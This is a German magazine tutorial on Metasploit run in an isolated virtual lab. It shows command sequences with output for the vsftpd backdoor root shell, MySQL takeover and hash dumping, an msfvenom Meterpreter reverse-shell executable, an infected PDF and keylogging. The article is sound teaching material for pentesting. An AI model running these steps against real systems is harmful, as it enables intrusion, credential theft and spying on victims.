Aus Linux-Magazin 10/2021

Das Pentesting-Tool Metasploit fördert Sicherheitslücken zutage

© Alexey Poprotsky / 123RF.com

Sicherheitslücken finden, analysieren und nutzen: Das Urgestein Metasploit zählt keineswegs zum alten Eisen, wie ein typischer Workflow zur Übernahme von Windows-10- und Linux-Systemen demonstriert.

Metasploit: Dem einen treibt schon der Name den Schweiß auf die Stirn, andere nutzen das Hacker-Tool regelmäßig, um die eigenen Systeme auf Schwachstellen zu testen (Pentesting). Waffengleichheit nennt man das – notwendig, um den sicheren Betrieb, nicht nur von KRITIS-Systemen, aufrecht zu erhalten. Das Schwachstellenmanagement (Vulnerability Management) ist ein großer Markt, die Skills erfahrener Pentester sind begehrt, Strategien für Red-Team/Blue-Team-Trainings und Catch-the-Flag-Setups füllen ganze Bücher.

Die gibt es auch zu Metasploit. Das Linux-Magazin berichtete zum ersten Mal vor mehr als zwölf Jahren [1] darüber, wie etwa dem Dalai Lama und so mancher Regierung Exploits in PDFs untergeschoben wurden [2], und auch an Charly Kühnasts Sysadmin-Kolumne ging das Thema nicht vorbei [3] – Metasploit ist überall.

Dabei ist durchaus Vorsicht geboten, schrieb schon Charly: Wer mit einem Pentesting-Tool wild im eigenen Netz herumfuchtelt, bleibt zwar am Leben. Er riskiert aber, dass das betriebliche Security-Monitoring anschlägt, allerorten die roten Lichter angehen und die Alarmstufe DEFCON 3 ausgerufen wird, weil der Incident Response Plan greift.

Auch dem Autor dieses Artikels widerfuhr das, als ein übereifriger OpenVPN-Kursteilnehmer im Linux-Hotel ein Pentesting-Tool nutzte und auf der Kurs-Cloud bei Hetzner mit einer geringfügig falschen Netzmaske herumzuscannen begann. Binnen weniger Minuten erkannten die Überwachungswerkzeuge das ungebührliche Verhalten und fuhren das Kursnetz schlicht herunter – samt warnender Info-Mail mit Großbuchstaben an den Kursleiter.

Sichere Umgebung

Wer also Pentesting mit dem Standard-Tool lernen will, der sollte sich zunächst Gedanken über seine Umgebung machen. Normalerweise bietet sich dann schnell ein virtuelles Setup an, begrenzt und separiert auf ein Subnetz, ein VLAN oder sogar ein physikalisch separiertes Netz. Für die meisten Anwender und Einsteiger sollte ein virtuelles Netz in einer Virtualisierungslösung wie Virtualbox oder Libvirt völlig ausreichen, auch Container funktionieren dort.

Im folgenden Beispiel installiert der Anwender auf Qemu-KVM und Libvirt vier virtuelle Maschinen zum Spielen: ein Parrot Linux, ein Kali Linux, ein Windows 10 und ein Metasploitable (Abbildung 1). Bei Letzterem handelt es sich um ein extra anfälliges Linux, das die Metasploit-Macher zum Lernen und Testen bereitstellen. Windows 10 fungiert als zweites Opfer.

Abbildung 1: Vier virtuelle Maschinen zum Spielen: zweimal Linux für den Angreifer, zwei Opfer.

Abbildung 1: Vier virtuelle Maschinen zum Spielen: zweimal Linux für den Angreifer, zwei Opfer.

Die Distributionen Parrot Linux und Kali Linux bringen Metasploit praktischerweise bereits mit. Parrot Linux kommt zudem mit einem kompletten KDE-Desktop. Dem Quasi-Standard-OS für das Pentesting, Kali Linux, widmet sich ein separater Artikel in diesem Heft ab Seite 30.

Das vorgestellte Setup erlaubt aber durchaus auch das unkomplizierte Ausprobieren weiterer Pentesting-Suiten, zum Beispiel Black Arch Linux mit seinen 16 GByte an Tools.

Überblick

Seit den letzten Artikeln zum Thema Metasploit im Linux-Magazin hat sich viel getan, die Changelogs sind lang. Nicht alle früher vorgestellten Befehle funktionieren noch; teilweise wurden sie umbenannt, teilweise entfernt oder müssen nun per Addon nachgeladen werden.

Die Entwicklung des Metasploit-Projekts schreitet schnell voran. Stets aktuelle Informationen finden sich im Blog des US-Herstellers Rapid7 [4] aus Boston, Massachusetts. Das Metasploit Framework ist Open Source Software, entstand um 2003 (damals in Perl) und wurde seit 2007 in Ruby neu implementiert. Rapid7 erwarb 2009 das Metasploit-Projekt und bot zunächst sowohl eine Enterprise- als auch eine Community-Edition an; Letztere wurde 2019 eingestellt.

Heute gibt es stattdessen das (freie) Metasploit Framework (MSF), das dieser Artikel vorstellt. Es steht keineswegs nur für Kali Linux oder Parrot Linux bereit. Wer aber eine schicke Web-GUI will, der sollte sich MSF Pro ansehen (Abbildung 2). So heißt das Enterprise-Produkt, das Rapid7 seit 2010 anbietet. Leider reagierte der Hersteller auf keine unserer Anfragen, bei Kunden dürfte das sicher anders laufen.

Abbildung 2: Metasploit Pro ist das Produkt von Rapid7, der Firma hinter dem Metasploit-Projekt.

Abbildung 2: Metasploit Pro ist das Produkt von Rapid7, der Firma hinter dem Metasploit-Projekt.

Das Metasploit Framework ist dabei nur eines, wenn auch das bekannteste Unterprojekt des Metasploit-Projekts, das außerdem unter anderem ein Shellcode-Archiv und das schon erwähnte Metasploitable-Image pflegt (Abbildung 3). Pflegen ist bei Letzterem vielleicht zu viel gesagt, denn viele neue Schwachstellen enthält es nicht, aber fürs Lernen aus Angreifersicht (Red Team) genügt es durchaus.

Abbildung 3: Metasploitable, eine extra verwundbare Linux-Version, bietet für Lernende gute Angriffspunkte.

Abbildung 3: Metasploitable, eine extra verwundbare Linux-Version, bietet für Lernende gute Angriffspunkte.

Seit den letzten Artikeln im Linux-Magazin explodierte die Anzahl der in Metasploit enthaltenen Exploits geradezu, jetzt sind es über 2000. Daneben kamen zahllose neue Ziele (Targets) hinzu, darunter auch Software wie die von Adobe und Oracle sowie neue Datenbanken. Das Framework umfasst Hunderte Payloads (Schadcode zum Einbetten) und neue Module fürs “scanning, fuzzing, sniffing” (scannen, mit Zufallsdaten füttern, abschnüffeln). Die Auxiliary-Module gliedern sich dabei in Scanner-, Admin- und Server-Module.

Workflow

Das Metasploit Framework gibt es für Windows, Linux und den Mac. Der Workflow mit Metasploit gestaltet sich prinzipiell recht simpel und folgt stets derselben Struktur. Er läuft in fünf Schritten ab (auch wenn Abbildung 4 nur von vier spricht):

  • Zunächst geht es um das Auffinden einer Vulnerability, also einer Sicherheitslücke oder eines Ansatzpunkts für einen potenziellen Angriff wie beispielsweise ein unsicheres Passwort oder einen laufenden, veralteten oder ungepatchten Server-Dienst.
  • Danach darf der Hacker in spe einen passenden Exploit konfigurieren, der diese Lücke auszunutzen versteht.
  • Nun gilt es, eine Payload auszuwählen, also ein für den Zweck passendes Malware- oder Fernsteuerungsprogramm, dass der Hacker von seinem Exploit über die Sicherheitslücke installieren lässt.
  • Nach der Auswahl der Lücke, des Exploits und der Payload stehen in der Regel noch diverse Anpassungen an. Es gilt, den Exploit, vor allem aber die Payload zu konfigurieren, beispielsweise die Adresse des Command-and-Control-Servers für den Rückkanal einzugeben.
  • Zu guter Letzt geht es an das Ausführen des Angriffs (»run«).
Abbildung 4: Recon, Exploit, Payload, Loot, so anschaulich erklärt das Metasploit Framework auf Parrot Linux gelegentlich seine eigene Architektur. Die Ascii-Art stammt von eigenen Fortune-Cookies.

Abbildung 4: Recon, Exploit, Payload, Loot, so anschaulich erklärt das Metasploit Framework auf Parrot Linux gelegentlich seine eigene Architektur. Die Ascii-Art stammt von eigenen Fortune-Cookies.

Das Arbeiten mit Pentesting-Tools folgt stets dem Prinzip Erfolg und Irrtum. Es handelt sich um ein Puzzlespiel, das viel Spaß bereiten kann. Nicht selten führt es zu adrenalinschwangeren Erfolgserlebnissen, etwa, wenn man zum ersten Mal ein Windows 10 übernommen hat, ohne ein Passwort einzugeben. Dennoch ergibt es Sinn, eigene Erfahrungen mit der Metasploit-Community auch zu teilen, beispielsweise auf Github [5].

Armitage und Meterpreter

Um nur einmal schnell in die Fähigkeiten von Metasploit hineinzuschnuppern, genügt unter Parrot Linux und Kali Linux ein Klick im Hauptmenü auf den Eintrag Armitage. Tutorialspoint [6] und Offensive Security [7] bieten gute Einsteiger-Tutorials für Mausschubser-Forensiker an (wie das ein befreundeter BKA-Trainer zu nennen pflegt).

Armitage [8] genießt unter Red Teams einen guten Ruf, auch dank des Collaboration Mode, den die Entwickler selbst Multi-Player Metasploit beziehungsweise Red Team Collaboration Mode nennen. Armitage (Abbildung 5) kann zwar über sein Hauptmenü auch ganz simpel einfache Nmap-Host-Scans ausführen, aber die wahre Stärke des Tools zeigt sich erst, wenn mehrere Anwender gleichzeitig in einer Meterpreter-Shell gemeinsam einen kompromittierten Host beackern.

Abbildung 5: Armitage ist das GUI-Frontend der Wahl für Red Teams und alle, die einen grafischen Zugang zu Metasploit suchen.

Abbildung 5: Armitage ist das GUI-Frontend der Wahl für Red Teams und alle, die einen grafischen Zugang zu Metasploit suchen.

Bei Meterpreter [9] handelt es sich wohl um die ansprechendste Payload, die ein Angreifer auf einem entfernten Rechner zu installieren vermag. Sie lässt sich problemlos in anderen Dateiformaten (etwa PDFs) verstecken, als E-Mail-Anhang mitschicken oder in Webseiten unterbringen. Es genügt, wenn das Opfer eine präparierte Webseite, E-Mail oder ein entsprechendes Dokument öffnet – schon erhält der Angreifer die Kontrolle über den Rechner.

Meterpreter als Payload öffnet in diesem Fall eine Reverse Shell – Ransomware würde jetzt den Rechner verschlüsseln und eine Backdoor öffnen. Ein übernommener Windows-10-Rechner beispielsweise gestattet nun dem Angreifer den Zugang per Befehlszeile, vielleicht sogar als Admin. Lange vor der Powershell nannte der schon zitierte BKA-Trainer Meterpreter “die bessere Shell für den Windows-Admin” – nicht nur wegen des umfangreichen Befehlssatzes, sondern auch wegen zahlreicher hilfreicher Erweiterungen wie Mimikatz [10]. Letzteres spielte beim Angriff auf den deutschen Bundestag 2015 [11] eine zentrale Rolle und half, die Active-Directory-Domäne auszuspähen und Domänenadmin-Rechte zu erlangen.

Meterpreter verweilt dabei komplett im Arbeitsspeicher des übernommenen Systems. Dank In-Memory DLL Injection schreibt es nichts auf die Festplatte, erzeugt keine neuen Prozesse und hinterlässt so im Idealfall auch keine dauerhaften Spuren. Der Forensiker nennt das einen sehr kleinen forensischen Fußabdruck. Es kann aber sehr wohl auf andere laufende Prozesse übergreifen.

Dass Meterpreter dabei gleichzeitig extrem flexibel ist, sollte nicht überraschen, wurde es doch entworfen, um die Qual der Wahl einer geeigneten Payload zu umgehen. Mit Meterpreter lässt sich derlei später nachholen, mithilfe einer Remote Shell ohne Alarme von Virenscannern oder ähnlichen Tools auszulösen.

Für die Befehlszeile stehen dem Admin zwei grundsätzliche Methoden zur Verfügung: Bind oder Reverse. Mit Bind lauscht Meterpreter lokal an einem Port, bis der Angreifer sich verbindet. Bei Reverse nimmt der Opferrechner selbst direkt Verbindung zum Control-Server auf. Den muss der Angreifer entsprechend konfiguriert haben, damit die Verbindung klappt. Beide Vorgehensweisen erweisen sich in unterschiedlichen Szenarien als hilfreich.

All das bisher Beschriebene lässt sich am besten mit Metasploitable testen, der “absichtlich verwundbaren Version von Ubuntu Linux”, die Rapid7 und das Metasploit-Projekt bereitstellen. Das Image gibt es mittlerweile in Version 2 mit vielen zusätzlichen Löchern. Eine komplette Liste aller Lücken in dem Image passt in keinen Artikel. Es lohnt sich jedoch, einen Blick in den Exploitability Guide [12] zu werfen.

Das zum Download angebotene Image lässt sich nicht installieren, es ist für den Einsatz in Virtualisierungsumgebungen gebaut. Es kommt im VMware-Format VMDK mit separaten Konfigurationsdateien. Um es in Libvirt/KVM zu verwenden, müssen Sie es von der Rapid7-Website herunterladen, entpacken und konvertieren [13]. Dann wandeln Sie die Konfigurationsdatei mit einem Skript um und legen mit Virsh in Libvirt eine neue virtuelle Maschine an. Das klingt kompliziert, lässt sich aber mit drei Kommandos erledigen (Listing 1). Nur der Download dauert etwas länger, weil Rapid7 eine Registrierung verlangt.

Listing 1

Image für KVM konvertieren

$ qemu-img convert -f vmdk Metasploitable.vmdk -O qcow Metasploitable.qcow2
$ wget https://bazaar.launchpad.net/~ubuntu-virt/virt-goodies/trunk/download/head:/vmware2libvirt
$ python vmware2libvirt -f Metasploitable.vmx > Metasploitable.xml

Das Ubuntu-Skript funktionierte im Test problemlos auf einem Notebook unter OpenSuse Tumbleweed, wo ein »zypper in virt-manager libvirtd« sowohl den Server-Dienst als auch das Frontend installiert. Allerdings ließ sich das Image im Test nicht mit »virt-v2v« konvertieren, daher das Ubuntu-Skript (Listing 1, Zeile 2).

Das Metasploitable-Image nutzt in der Vorgabe das Libvirt-Netzwerk mit dem Namen »default«, das standardmäßig auf NAT gesetzt ist und so die Maschinen des Test-Szenarios vom Rest des Netzes abkapselt. Nicht vergessen: Libvirtd läuft erst, wenn Systemd es auch startet, am besten dauerhaft mit »systemctl enable libvirtd«. Den Erfolg überprüfen Sie mit »systemctl status libvirtd«, für eine Sofortstart sorgt »service libvirtd start«. Jetzt importieren Sie noch mit »virsh -c qemu:///system define Metasploitable.xml« das Image, und schon zeigt der Virt-Manager beim Start eine fertig konfigurierte, startbare Metasploitable-Instanz. Es empfiehlt sich sicherzustellen, dass das System diese Instanz und das zugehörige Netzwerk beim Booten oder beim Start von Virt-Manager automatisch hochfährt.

Jetzt installieren Sie noch Windows 10 in eine weitere virtuelle Maschine und erledigen dasselbe für Kali Linux und Parrot Linux (wobei die beiden Live-Distributionen ja auch wunderbare Dienste ohne Installation leisten). Aus Performance-Gründen fiel im Test die Entscheidung, die beiden Distributionen auf virtuelle Platten zu installieren.

Nach Abschluss dieser Vorarbeiten geht es ans erste Testen mit SSH: »ssh-copy-id« überträgt den eigenen SSH-Key auf die drei Linuxe, je ein Alias macht das Leben fortan leichter. Für Metasploitable lauten Benutzername und Password »msfadmin«. Bei Kali gibt es meist keinen Root-Account (wenn doch, lautet das Passwort »toor«, sonst können Sie es während der Installation konfigurieren), aber den Benutzer kali mit gleichlautendem Passwort. Auch Parrot Linux nutzt »toor« als Root-Passwort, hat den Account aber weitgehend deaktiviert.

Das Kommando »ssh-copy-id msfadmin@192.168.122.X« kopiert den eigenen Public Key auf den virtuellen Metasploitable-Rechner, der sich hinter der IP-Adresse 192.168.122.nnn verbirgt. Drei Aliase in »~/.alias« machen das Leben leichter (Listing 2) – vergessen Sie das Sourcen nach dem Editieren nicht. Auch Einträge im Host-File oder im DNS helfen hier.

Listing 2

Praktische Aliase

alias metasploitable='ssh msfadmin@192.168.122.236'
alias kali='ssh kali@192.168.122.192'
alias parrot='ssh parrot@192.168.122.56'

Spätestens jetzt steht einem ersten Test von Metasploitable nichts im Weg. Dank einer absichtlich verbauten Telnet-Sicherheitslücke eröffnet sich dem Parrot-User in Listing 3 eine Backdoor. Das Beispiel zeigt eindrucksvoll, wie wichtig signierte Softwarepakete aus zuverlässigen Quellen sind: Hier hat ein Hacker offensichtlich dafür gesorgt, dass der FTP-Dienst auf Port 21 eine Backdoor mit Admin-Rechten auf Port 6200 öffnet, wenn – festhalten! – der Username des Vsftpd-Logins einen Smiley enthält (Zeile 10). Sodann erlaubt der zweite Telnet-Befehl im Beispiel Login-freien Zugang zu einer Art Root-Shell.

Listing 3

Telnet-Hintertür in Metasploitable

Parrot GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jul 25 20:12:28 2021 from 192.168.122.1
[mfeilner@parrot][~]
$ telnet 192.168.122.236 21
Trying 192.168.122.236...
Connected to 192.168.122.236.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
user mfeilner:)
331 Please specify the password.
pass
^]
telnet> quit
Connection closed.
[mfeilner@parrot][~]
$ telnet 192.168.122.236 6200
Trying 192.168.122.236...
Connected to 192.168.122.236.
Escape character is '^]'.
id;
uid=0(root) gid=0(root)
cat /etc/passwd;
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
(...)
reboot;
Connection closed by foreign host.

Metasploitable fährt noch viele weitere unsichere Dienste, die ein Nmap-Scan ans Tageslicht fördert (Listing 4). Und weil der Nmap-Befehl auch eine MySQL-Datenbank auf Metasploitable findet, zeigt das nächste Beispiel einen einfachen Weg, um dieses DBMS zu übernehmen – dank eines fehlenden Root-Passworts. Listing 5 zeigt die gesamte Befehlssequenz und die Rückgabe von Parrot, MSF und Metasploitable. Das Kommando »msfconsole« startet hier die interaktive Shell des Metasploit Frameworks. Listing 6 zeigt die Verifikation durch ein MySQL-Kommando samt Abruf von Benutzerdaten aus »/etc/passwd«.

Listing 4

Nmap-Scan auf Metasploitable

[root@parrot][/]
# nmap -p0-65535 metasploitable
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-25 22:05 CEST
Nmap scan report for metasploitable (192.168.122.236)
Host is up (0.095s latency).
Not shown: 65506 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  ircs-u
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  msgsrvr
45901/tcp open  unknown
46758/tcp open  unknown
58453/tcp open  unknown
60132/tcp open  unknown
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Nmap done: 1 IP address (1 host up) scanned in 31.35 seconds

Listing 5

MySQL-Datenbank übernehmen

[root@parrot][/]
# msfconsole
(...)
msf6 > use auxiliary/scanner/mysql/mysql_version
msf6 auxiliary(scanner/mysql/mysql_version) > set RHOSTS metasploitable
RHOSTS => metasploitable
msf6 auxiliary(scanner/mysql/mysql_version) > run
[+] 192.168.122.236:3306  - 192.168.122.236:3306 is running MySQL 5.0.51a-3ubuntu5 (protocol 10)
[*] metasploitable:3306   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/mysql/mysql_version) > use auxiliary/admin/mysql/mysql_enum
msf6 auxiliary(admin/mysql/mysql_enum) > set RHOSTS metasploitable
RHOSTS => metasploitable
msf6 auxiliary(admin/mysql/mysql_enum) > run
[*] Running module against 192.168.122.236
[-] 192.168.122.236:3306 - Access denied
[*] Auxiliary module execution completed
msf6 auxiliary(admin/mysql/mysql_enum) > set USERNAME root
USERNAME => root
msf6 auxiliary(admin/mysql/mysql_enum) > run
[*] Running module against 192.168.122.236
[*] 192.168.122.236:3306 - Running MySQL Enumerator...
[*] 192.168.122.236:3306 - Enumerating Parameters
[*] 192.168.122.236:3306 -      MySQL Version: 5.0.51a-3ubuntu5
(...)
[*] 192.168.122.236:3306 - Enumerating Accounts:
[*] 192.168.122.236:3306 -      List of Accounts with Password Hashes:
[+] 192.168.122.236:3306 -              User: debian-sys-maint Host:  Password Hash:
[+] 192.168.122.236:3306 -              User: root Host: % Password Hash:
[+] 192.168.122.236:3306 -              User: guest Host: % Password Hash:
[*] 192.168.122.236:3306
 -      The following users have GRANT Privilege:
[*] 192.168.122.236:3306 -              User: debian-sys-maint Host:
[*] 192.168.122.236:3306 -              User: root Host: %
[*] 192.168.122.236:3306 -              User: guest Host: %
[*] 192.168.122.236:3306 -      The following users have CREATE USER Privilege:
(...)
[*] Auxiliary module execution completed
msf6 auxiliary(admin/mysql/mysql_enum) > use auxiliary/scanner/mysql/mysql_hashdump
msf6 auxiliary(scanner/mysql/mysql_hashdump) > set USERNAME root
USERNAME => root
msf6 auxiliary(scanner/mysql/mysql_hashdump) > set RHOSTS metasploitable
RHOSTS => metasploitable
msf6 auxiliary(scanner/mysql/mysql_hashdump) > run
[+] 192.168.122.236:3306  - Saving HashString as Loot: debian-sys-maint:
[+] 192.168.122.236:3306  - Saving HashString as Loot: root:
[+] 192.168.122.236:3306  - Saving HashString as Loot: guest:
[*] metasploitable:3306   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 > use /auxiliary/scanner/mysql/mysql_login
[*] Using auxiliary/scanner/mysql/mysql_login
msf6 auxiliary(scanner/mysql/mysql_login) > use /auxiliary/scanner/mysql/mysql_login
msf6 auxiliary(scanner/mysql/mysql_login) > set RHOSTS metasploitable
RHOSTS => metasploitable
msf6 auxiliary(scanner/mysql/mysql_login) > set USERNAME root
USERNAME => root
msf6 auxiliary(scanner/mysql/mysql_login) > run
[+] 192.168.122.236:3306  - 192.168.122.236:3306 - Found remote MySQL version 5.0.51a
[!] 192.168.122.236:3306  - No active DB -- Credential data will not be saved!
[+] 192.168.122.236:3306  - 192.168.122.236:3306 - Success: 'root:'
[*] metasploitable:3306   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Listing 6

Verifikation mit MySQL-Kommando

(mfeilner@kali)-[~]
$ mysql -h metasploitable -u root
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 15
(...)
MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| dvwa               |
| metasploit         |
| mysql              |
| owasp10            |
| tikiwiki           |
| tikiwiki195        |
+--------------------+
7 rows in set (0.001 sec)
MySQL [(none)]> select load_file('/etc/passwd');
+----------------------------------------------(...)
+
| load_file('/etc/passwd')
(...)
+
| root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
(...)
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
(...)
+
1 row in set (0.001 sec)

Wie Sie am Ende von Listing 6 sehen, verwendet Metasploit hier noch keine Datenbank für die erfassten Daten, hinterlässt also auch keine Spuren. Wer die Datenbank verwendet (standardmäßig PostgreSQL), erhält noch einige hilfreiche Funktionen mehr. Ein »service postgresql start« startet sie, für Metasploit muss nun noch eine Initialisierung stattfinden (Listing 7).

Listing 7

Datenbank für Metasploit initialisieren

(root@kali)-[/home/mfeilner]
# msfdb init
[+] Starting database
[+] Creating database user 'msf'
Geben Sie das Passwort der neuen Rolle ein:
Geben Sie es noch einmal ein:
[+] Creating databases 'msf'
(...)
[+] Creating databases 'msf_test'
(...)
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema
(root@kali)-[/home/mfeilner]
msf6 > help database
Database Backend Commands
=========================
    Command           Description
    -------           -----------
    analyze           Analyze database information about a specific
(...)
    db_nmap           Executes nmap and records the output
(...)
msf6 >  db_nmap -v -sV 192.168.122.0/24
(...)
[*] Nmap: Nmap done: 256 IP addresses (4 hosts up) scanned in 66.64 seconds
msf6 > hosts
Hosts
=====
address          mac  name            os_name  os_flavor  os_sp  purpose  info  comments
-------          ---  ----            -------  ---------  -----  -------  ----  --------
192.168.122.1                         Unknown                    device
192.168.122.56        parrot          Unknown                    device
192.168.122.192       kali            Unknown                    device
192.168.122.236       metasploitable  Linux                      server

Der Befehl »Db_nmap« hat die Datenbank mit Hosts gefüllt. Wie Listing 8 zeigt, führt Metasploit jetzt den »mysql-login«-Scan automatisch gegen alle gelisteten Hosts aus und findet auch den fehlerhaften Root-Account ohne Passwort. Für alle anderen Fälle gibt es Wortlisten für den Passwortangriff unter »/usr/share/metasploit-framework/data/wordlists«. Sie wenden sie mit »SET PASS_FILE /Pfad/zur/Liste« an. Ein »creds« zeigt alle verfügbaren, automatisch erworbenen Login-Daten.

Listing 8

MySQL-Scan mit Datenbank

msf6 > use /auxiliary/scanner/mysql/mysql_login
msf6 auxiliary(scanner/mysql/mysql_login) > run
[-] 192.168.122.1:3306    - 192.168.122.1:3306 - Unable to connect: The connection was refused by the remote host (192.168.122.1:3306).
[*] Scanned 1 of 5 hosts (20% complete)
(...)
[*] Scanned 4 of 5 hosts (80% complete)
[+] 192.168.122.236:3306  - 192.168.122.236:3306 - Found remote MySQL version 5.0.51a
[+] 192.168.122.236:3306  - 192.168.122.236:3306 - Success: 'root:'
[*] Scanned 5 of 5 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/mysql/mysql_login) > creds
Credentials
===========
host             origin           service           public  private  realm  private_type    JtR Format
----             ------           -------           ------  -------  -----
192.168.122.236  192.168.122.236  3306/tcp (mysql)  root                   Blank password

Auch wenn der mehrstufige Metasploit-Workflow jetzt klarer wird, umreißen die Beispiele die Möglichkeiten des Frameworks nur ansatzweise. Schon ein »search login« an der Msfconsole gibt 248 Exploits zurück, die für das Anmelden an Systemen dienen können. Mit »use auxiliary/scanner/smb/smb_login« lässt sich beispielsweise herausfinden, ob ein Samba-/Windows-/Active-Directory-Login auch für andere Dienste oder Server funktioniert.

Wem all das noch nicht genügt, der zieht sich Erweiterungen wie Autopwn (Listing 9). Mit dessen Erweiterungen funktioniert es noch einfacher und automatischer, fremde Maschinen zu übernehmen. Das Modul wurde in den letzten Jahren aus dem Standardumfang von Metasploit entfernt.

Listing 9

Autopwn nachziehen

# cd /usr/share/metasploit-framework/plugins
# sudo wget https://raw.githubusercontent.com/hahwul/metasploit-autopwn/master/db_autopwn.rb
# mfsconsole
msf6 > load db_autopwn
[*] Successfully loaded plugin: db_autopwn

Windows 10 und mehr

Listing 10 nutzt dann nicht mehr Metasploitable, sondern greift die Windows-10-Instanz an. Die jüngsten Versionen von Microsofts Betriebssystem bringen schon eine stattliche Anzahl an Schutzmechanismen mit; dieser Artikel verzichtet darauf, Umgehungsmaßnahmen oder Quellen für den Exploit-Download zu beschreiben.

Listing 10

Remote-Shell auf Windows 10

(mfeilner@kali)-[~]
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.122.192 -f exe -o /tmp/backdoor.exe
(mfeilner@kali)-[~]
$ msfconsole
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > set LHOST 192.168.122.192
LHOST => 192.168.122.192
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.122.192:4444
[*] Sending stage (175174 bytes) to 192.168.122.43
[*] Meterpreter session 1 opened (192.168.122.192:4444 -> 192.168.122.43:57816) at 2021-07-26 01:49:31 +0200
meterpreter > execute -f cmd.exe -i -H
Process 6500 created.
Channel 1 created.
Microsoft Windows [Version 10.0.19042.1110]
(c) Microsoft Corporation. All rights reserved.
C:\Users\mfeilner\Desktop>

Im Schnelldurchlauf: »msfvenom« [14] erzeugt eine EXE-Datei, die eine Meterpreter-Backdoor enthält. Über Social Hacking gilt es nun, den Windows-Anwender dazu zu bringen, alle Warnungen (Abbildung 6) in den Wind zu schlagen und die Datei auszuführen. Gelingt das, lässt sich mit einigen Metasploit-Kommandos der Angriff konfigurieren und starten. Am Ende steht dem Angreifer die Remote-Administrator-Shell auf Windows 10 zur Verfügung.

Abbildung 6: Ohne Maßnahmen zur Verschleierung erkennt schon der Standard-Virenschutz von Windows 10 die Meterpreter-Payload als Trojaner, doch das ließe sich leicht umgehen.

Abbildung 6: Ohne Maßnahmen zur Verschleierung erkennt schon der Standard-Virenschutz von Windows 10 die Meterpreter-Payload als Trojaner, doch das ließe sich leicht umgehen.

All das klappt auch mit einer PDF-Datei, wie Listing 11 zeigt. Dafür braucht es allerdings eine Originaldatei, die Sie zum Infizieren benutzen. Im Beispiel öffnet das bloße Betrachten des PDF-Dokuments auf dem Rechner des Opfers eine Remote Shell für den Angreifer. Dort könnte er jetzt beispielsweise einen Keylogger installieren (»keyscan_start«); »keyscan_dump« gibt die Eingaben zurück.

Listing 11

Ein infiziertes PDF bauen

(mfeilner@kali)-[~]
$ msfconsole
msf6 > use exploit/windows/fileformat/adobe_pdf_embedded_exe
(...)
msf6 > set EXENAME reverse.exe
(...)
msf6 > set FILENAME tibet.pdf
(...)
msf6 > set INFILENAME /tmp/test.pdf
(...)
msf6 > set OUTPUTPATH
 /tmp
(...)
msf6 > set PAYLOAD windows/meterpreter/bind_tcp

Es mag dabei hilfreich sein, wie in einem Tutorial [15] von Offensive Security beschrieben den richtigen Prozess auszusuchen und mit »migratePID« zu einem vom Admin verwendeten Prozess zu wechseln. Die PID bekommt der Angreifer mit Tools wie Ps (in der Remote Shell). Der Keylogger gibt die Tastaturanschläge aus, die der jeweilige Prozess erhält – lohnenswert ist da beispielsweise der Prozess »winlogon.exe«.

Doch Windows 10 oder PDF-Viewer stellen bei Weitem nicht die einzigen Ziele dar: Die News auf der Meterpreter-Homepage erweisen sich als wahres Schatzkästlein, beispielsweise für Apple-Hacker [16]. Das Blog Mattionline [17] erklärt, wie einfach es gelingt, mit einem infizierten APK-Paket ein Android-Gerät zu übernehmen. Auch das klappt in nur fünf Schritten, dank Metasploit. (jcb/jlu)

Der Autor

Markus Feilner, Redakteur für Technik und Netzpolitik bei Mailbox.org, arbeitet seit 1994 mit Linux. Er war Stellv. Chefredakteur des Linux-Magazin und der iX sowie Doku-Teamleiter bei Suse. Er leitet seit 21 Jahren die Firma Feilner IT, die sich auf Dokumentation, digitale Souveränität und die OSI-Layer 8 bis 10 spezialisiert hat.

Infos

  1. Metasploitable: Hans-Peter Merkel, Markus Feilner, “Hacken im Freien”, LM 08/2010, S. 102, https://www.lm-online.de/21376
  2. Ein Hacker und die Strafverfolger: Markus Feilner, “Der Paulus von Freiburg”, LM 03/2009, S. 76, https://www.lm-online.de/17415
  3. Metasploit: Charly Kühnast, “Auf den Hund kommen”, LM 02/2015, S. 69, https://www.lm-online.de/33804
  4. Rapid7-Blog mit Updates: https://www.rapid7.com/de/blog/post/2021/07/23/metasploit-wrap-up-122/
  5. “Contributing to Metasploit”: https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md
